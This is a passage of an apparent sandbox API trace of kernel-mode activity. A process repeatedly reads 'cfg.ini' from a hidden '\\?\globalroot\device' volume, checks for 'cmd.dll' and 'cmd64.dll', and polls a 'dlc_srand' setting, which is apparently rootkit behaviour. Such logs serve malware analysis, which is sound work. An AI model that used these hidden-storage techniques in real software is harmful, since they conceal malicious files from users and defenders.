_Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.219] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.219] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.219] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.219] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.219] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0250 [0126.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.220] KeLeaveCriticalRegion () [0126.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.220] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.220] KeEnterCriticalRegion () [0126.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.220] KeLeaveCriticalRegion () [0126.220] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.220] KeEnterCriticalRegion () [0126.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.220] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.220] IdePortDispatch () returned 0x103 [0126.220] KeWaitForMutexObject () returned 0x0 [0126.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.220] KeLeaveCriticalRegion () [0126.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.220] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.220] KeEnterCriticalRegion () [0126.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.220] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d5000 [0126.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.220] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.220] IdePortDispatch () returned 0x103 [0126.220] KeWaitForMutexObject () returned 0x0 [0126.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.221] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.221] IdePortDispatch () returned 0x103 [0126.221] KeWaitForMutexObject () returned 0x0 [0126.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.221] KeLeaveCriticalRegion () [0126.221] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.221] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.221] KeEnterCriticalRegion () [0126.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.221] KeLeaveCriticalRegion () [0126.221] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.222] KeEnterCriticalRegion () [0126.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.222] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.222] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.222] KeLeaveCriticalRegion () [0126.222] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.222] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.222] KeEnterCriticalRegion () [0126.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.222] ExFreePoolWithTag (P=0xfffffa80037e0250, Tag=0x0) [0126.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.222] KeLeaveCriticalRegion () [0126.222] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.222] ReleaseMutex (hMutex=0xf0) returned 1 [0126.222] Sleep (dwMilliseconds=0x124f80) [0126.237] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.237] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.237] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.237] KeEnterCriticalRegion () [0126.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.237] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.237] IdePortDispatch () returned 0x103 [0126.237] KeWaitForMutexObject () returned 0x0 [0126.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.237] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.237] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.237] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.237] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.237] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfabe0 [0126.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.237] KeLeaveCriticalRegion () [0126.237] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.237] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.237] KeEnterCriticalRegion () [0126.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.237] KeLeaveCriticalRegion () [0126.237] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.237] KeEnterCriticalRegion () [0126.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.237] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.237] IdePortDispatch () returned 0x103 [0126.238] KeWaitForMutexObject () returned 0x0 [0126.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.238] KeLeaveCriticalRegion () [0126.238] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.238] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.238] KeEnterCriticalRegion () [0126.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034da000 [0126.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.238] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.238] IdePortDispatch () returned 0x103 [0126.238] KeWaitForMutexObject () returned 0x0 [0126.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.238] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.238] IdePortDispatch () returned 0x103 [0126.238] KeWaitForMutexObject () returned 0x0 [0126.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.238] KeLeaveCriticalRegion () [0126.238] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.239] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.239] KeEnterCriticalRegion () [0126.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.239] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.239] KeLeaveCriticalRegion () [0126.239] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.239] KeEnterCriticalRegion () [0126.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.239] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.239] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.239] KeLeaveCriticalRegion () [0126.239] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.239] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.239] KeEnterCriticalRegion () [0126.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.239] ExFreePoolWithTag (P=0xfffffa8003bfabe0, Tag=0x0) [0126.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.239] KeLeaveCriticalRegion () [0126.239] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.239] ReleaseMutex (hMutex=0xf0) returned 1 [0126.239] Sleep (dwMilliseconds=0x124f80) [0126.253] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.253] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.253] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.253] KeEnterCriticalRegion () [0126.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.253] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.253] IdePortDispatch () returned 0x103 [0126.253] KeWaitForMutexObject () returned 0x0 [0126.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.253] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.253] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.253] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.253] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.253] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365bfb0 [0126.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.253] KeLeaveCriticalRegion () [0126.253] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.253] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.254] KeEnterCriticalRegion () [0126.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.254] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.254] KeLeaveCriticalRegion () [0126.254] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.254] KeEnterCriticalRegion () [0126.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.254] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.254] IdePortDispatch () returned 0x103 [0126.254] KeWaitForMutexObject () returned 0x0 [0126.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.254] KeLeaveCriticalRegion () [0126.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.254] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.254] KeEnterCriticalRegion () [0126.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.254] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034df000 [0126.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.254] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.254] IdePortDispatch () returned 0x103 [0126.254] KeWaitForMutexObject () returned 0x0 [0126.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.257] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.257] IdePortDispatch () returned 0x103 [0126.258] KeWaitForMutexObject () returned 0x0 [0126.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.258] KeLeaveCriticalRegion () [0126.258] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.258] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.258] KeEnterCriticalRegion () [0126.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.258] KeLeaveCriticalRegion () [0126.258] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.258] KeEnterCriticalRegion () [0126.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.258] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.258] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.258] KeLeaveCriticalRegion () [0126.258] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.258] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.258] KeEnterCriticalRegion () [0126.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.258] ExFreePoolWithTag (P=0xfffffa800365bfb0, Tag=0x0) [0126.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.258] KeLeaveCriticalRegion () [0126.259] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.259] ReleaseMutex (hMutex=0xf0) returned 1 [0126.259] Sleep (dwMilliseconds=0x124f80) [0126.272] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.272] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.272] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.272] KeEnterCriticalRegion () [0126.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.272] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.272] IdePortDispatch () returned 0x103 [0126.272] KeWaitForMutexObject () returned 0x0 [0126.272] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.272] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.272] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.272] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.272] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.272] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfabe0 [0126.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.272] KeLeaveCriticalRegion () [0126.272] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.272] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.273] KeEnterCriticalRegion () [0126.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.273] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.273] KeLeaveCriticalRegion () [0126.273] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.273] KeEnterCriticalRegion () [0126.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.273] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.273] IdePortDispatch () returned 0x103 [0126.273] KeWaitForMutexObject () returned 0x0 [0126.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.273] KeLeaveCriticalRegion () [0126.273] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.273] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.273] KeEnterCriticalRegion () [0126.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 